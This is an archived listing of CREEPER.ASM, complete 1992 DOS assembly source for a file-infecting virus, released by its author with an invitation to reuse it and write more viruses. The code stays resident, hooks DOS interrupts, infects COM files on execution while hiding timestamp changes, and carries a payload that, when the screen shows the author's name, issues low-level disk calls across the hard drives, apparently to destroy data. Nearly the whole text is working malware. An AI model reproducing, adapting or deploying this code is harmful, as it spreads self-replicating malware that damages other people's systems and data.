home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / CREEPER.ASM < prev    next >
Assembly Source File  |  1992-09-13  |  5KB  |  329 lines

  1. ;
  2. ;    Demoralized Youth proudly presents:    Creeper v1.0, Original Source
  3. ;
  4. ;            Written by:    TORMENTOR    
  5. ;    Yez, here it is... It's not like 4096 or Pogue, but it's a virus!
  6. ;    The reason why I release the original source is that I think I
  7. ;    can't do much more on this virus... I will start from scratch 
  8. ;    and write a larger and more smarter EXE-virus...
  9. ;    And if I release this source maybe YOU will get some god ideas and
  10. ;    write your own virus (or rewrite this!)...
  11. ;    And if you do, Great! Feel free to mix with it as much as you want
  12. ;    but please don't change this file!
  13. ;    Well, go on and write virus! The world is to safe!
  14. ;    
  15. ;
  16. ;    Regards / TORMENTOR
  17. ;
  18.  
  19. code        segment    byte public
  20.         assume    cs:code, ds:code, es:code, ss:code
  21.   
  22.   
  23.         org    100h
  24.   
  25.   
  26. codebeg:
  27.   
  28.  
  29.         mov    ax,043FFh        ; Remove virus from code!
  30.         int    21h
  31.  
  32. ; Let's allocate some mem!
  33.  
  34.         mov    ax,ds
  35.         sub    ax,11h
  36.         mov    ds,ax
  37.         cmp    byte ptr ds:[0100h],5Ah
  38.         jnz    skip
  39.         mov    ax,ds:[0103h]
  40.         sub    ax,40h
  41.         jb    skip
  42.         mov    ds:[0103h],ax
  43.         sub    word ptr ds:[0112h],50h
  44.         mov    es,ds:[0112h]
  45.         push    cs
  46.         pop    ds
  47.         mov    cx,code_end-codebeg
  48.         mov    di,100h
  49.         push    di
  50.         mov    si,di
  51.         rep    movsb
  52.  
  53.         push     es
  54.         pop    ds
  55.  
  56.         mov    ax,351Ch
  57.         int    21h
  58.         mov    word ptr ds:[int1Cret],bx
  59.         mov    word ptr ds:[int1Cret+2],es
  60.         mov    al,21h
  61.         int    21h
  62.         mov    word ptr ds:[real21+1],bx
  63.         mov    word ptr ds:[real21+3],es
  64.         
  65.         mov    ah,25h
  66.         mov    dx,offset int21beg
  67.         int    21h
  68.         mov    al,1Ch
  69.         mov    dx,offset int1Cnew
  70.         int    21h
  71.     
  72.         push    cs
  73.         push    cs
  74.         pop    es
  75.         pop    ds
  76.     
  77.         ret
  78.  
  79. skip:        int    20h        
  80.         
  81.  
  82. int21beg:    push    ax
  83.         sub    ax,4B00h
  84.         jz    infect
  85.         pop    ax
  86.         cmp    ax,043FFh        ; Check if Harakiri.        
  87.         jne    real21
  88.         
  89.         mov    ax,word ptr ds:[retdata]
  90.         mov    si,ax
  91.         mov    di,100h
  92.         mov    cx,code_end-codebeg
  93.         rep    movsb
  94.  
  95.         mov    ax,100h
  96.     
  97.         pop    cx
  98.         pop    cx
  99.         push    es
  100.         push    ax
  101.         iret
  102.  
  103. real21:        db    0EAh, 00h, 00h, 00h, 00h    ; Jump to org21vec.
  104.  
  105.  
  106. retdata:    db    00h, 00h
  107.  
  108. f_time:        dw    0000h
  109.  
  110. f_date:        dw    0000h    
  111.  
  112. infect:        pop    ax
  113.  
  114.         push    ax
  115.         push    bx
  116.         push    cx
  117.         push    di
  118.         push    ds
  119.         push    dx
  120.         push    si        
  121.  
  122.     
  123.         mov    ah,43h            ; Get file attr.
  124.         int    21h
  125.         mov    ax,4301h
  126.         and    cx,0FEh            ; Strip the Read-only-flag
  127.         int    21h
  128.  
  129.         mov    ax,3D02h        ; Open victim.
  130.         int    21h
  131.  
  132.         xchg    ax,bx
  133.  
  134.         call    sub_2  
  135.  
  136. sub_2:        mov    di,sp            ; God what I hate that Eskimo!
  137.         mov     si,ss:[di]
  138.         inc    sp
  139.         inc    sp
  140.  
  141.         push    cs
  142.         pop    ds
  143.  
  144.         mov    ax,5700h        ; Get file's time and date
  145.         int    21h
  146.         mov    [si-(sub_2-f_time)],cx    
  147.         mov    [si-(sub_2-f_date)],dx    ; And save them...
  148.  
  149.         mov    ah,3Fh            ; Read X byte from begin.
  150.         mov    cx,code_end-codebeg
  151.         add    si,code_end-sub_2    ; SI points to EOF    
  152.         mov    dx,si
  153.         int    21h            
  154.  
  155.         
  156.         cmp    word ptr [si],'MZ'    ; Mark Zimbowski?
  157.         je    close
  158.         cmp    word ptr [si],'ZM'    ; Zimbowski Mark?
  159.         je     close    
  160. mark:        cmp    word ptr [si+(mark-codebeg+4)],'YD'    ; infected?
  161.         je    close
  162.  
  163.         call    put_eof            ; move file ptr to EOF
  164.  
  165.         cmp    ax,(0FFFFh-(code_end-codebeg)-100h)
  166.         ja    close
  167.         cmp    ax,code_end-codebeg+100h
  168.         jb    close
  169.  
  170.         add    ax,100h
  171.         mov    word ptr ds:[si-(code_end-retdata)],ax    
  172.  
  173.         mov    ah,40h            ; Flytta beg to end.
  174.         mov    cx,code_end-codebeg
  175.         mov    dx,si
  176.         int    21h
  177.         
  178.         mov    ax,4200h        ; fptr to filbeg.
  179.         xor     cx,cx
  180.         xor     dx,dx
  181.         int    21h
  182.     
  183.         mov    ah,40h            ; Write virus to beg.
  184.         mov    cx,code_end-codebeg
  185.         mov    dx,si
  186.         sub    dx,cx
  187.         int    21h
  188.  
  189. close:        mov    ax,5701h
  190.         mov    cx,[si-(code_end-f_time)]
  191.         mov    dx,[si-(code_end-f_date)]
  192.         int    21h
  193.  
  194.         mov    ah,3Eh            
  195.         int    21h            ; close file, bx=file handle
  196.  
  197.         pop    si
  198.         pop    dx
  199.         pop    ds
  200.         pop    di
  201.         pop    cx
  202.         pop    bx
  203.         pop    ax
  204.  
  205.         
  206.         jmp    real21
  207.  
  208. put_eof:    mov     ax,4202h
  209.         xor    dx,dx
  210.         xor    cx,cx
  211.         int     21h
  212.         ret
  213.  
  214.  
  215. int1Cnew:    
  216.  
  217.         push     ax
  218.         inc     byte ptr cs:[counter]
  219.         mov     al,30h
  220.         cmp     byte ptr cs:[counter],al
  221.         jz     scan
  222.         pop     ax
  223.  
  224.  
  225. slut:        jmp     dword ptr cs:[int1Cret]
  226.  
  227. scan:       
  228.         push     bx
  229.         push     cx
  230.         push     di
  231.         push    ds
  232.         push    dx
  233.         push    es
  234.         push    si
  235.  
  236.  
  237.         push     cs
  238.         pop     ds
  239.  
  240.         cld
  241.         xor     bx,bx
  242.         mov     byte ptr cs:[counter],bh
  243.         mov     cx,0FA0h
  244.  
  245.         mov     ax,0b800h
  246.         mov     es,ax
  247.         xor     di,di
  248.  
  249. again:        mov     al,byte ptr cs:[text+bx]
  250.         sub    al,80h
  251.         repnz     scasb    
  252.         jnz     stick
  253.  
  254. maybe:        inc     di
  255.         inc     bx
  256.         cmp     bx,10d
  257.         jz    beep
  258.  
  259.         mov    al,byte ptr cs:[text+bx]
  260.         sub    al,80h
  261.         scasb
  262.         jz    maybe
  263.         xor    bx,bx
  264.         jmp    again
  265.  
  266. beep:        
  267.         xor    cx,cx
  268.         mov    bx,word ptr cs:[int1Cret]
  269.         mov    es,word ptr cs:[int1Cret+2]
  270.         mov    ax,251Ch
  271.         int    21h
  272.  
  273. overagain:    mov    dx,0180h
  274.         xor    bx,bx
  275.  
  276. reset:        mov    ah,00h
  277.         inc    bx
  278.         cmp    bl,5h
  279.         jz    raise        
  280.         inc    cx
  281.         int    13h
  282.  
  283. hoho:        mov    ax,0380h
  284.         inc    cx
  285.         int    13h
  286.         jc    reset
  287.         jmp     hoho        
  288.  
  289. raise:        xor    cx,cx
  290.         xor    bx,bx
  291.         inc    dx
  292.         cmp    dl,85h
  293.         jnz    hoho
  294.         jmp    overagain    
  295.                     
  296. stick:
  297.         pop    si        
  298.         pop    es
  299.         pop    dx
  300.         pop     ds
  301.         pop     di
  302.         pop     cx
  303.         pop     bx         
  304.         pop     ax
  305.  
  306.  
  307.         jmp     slut
  308.  
  309.  
  310. counter:    db     00h
  311.  
  312. text:         db     'T'+80h, 'O'+80h, 'R'+80h, 'M'+80h, 'E'+80h, 'N'+80h
  313.         db    'T'+80h, 'O'+80h, 'R'+80h, '!'+80h
  314.  
  315.             ; This is what it scans the screen for --^
  316.  
  317. int1Cret:    db    0EAh, 00h, 00h, 00h, 00h
  318.  
  319. code_end:                    ; THE END.
  320.  
  321. code        ends
  322. end        codebeg
  323.  
  324. ;
  325. ;  Greetings to: Charlie, HITMAN, Wiper, Torpedo, Tortuer, WiCO, Drive Screwer
  326. ;  And ALL other virus-writers!  
  327. ;
  328.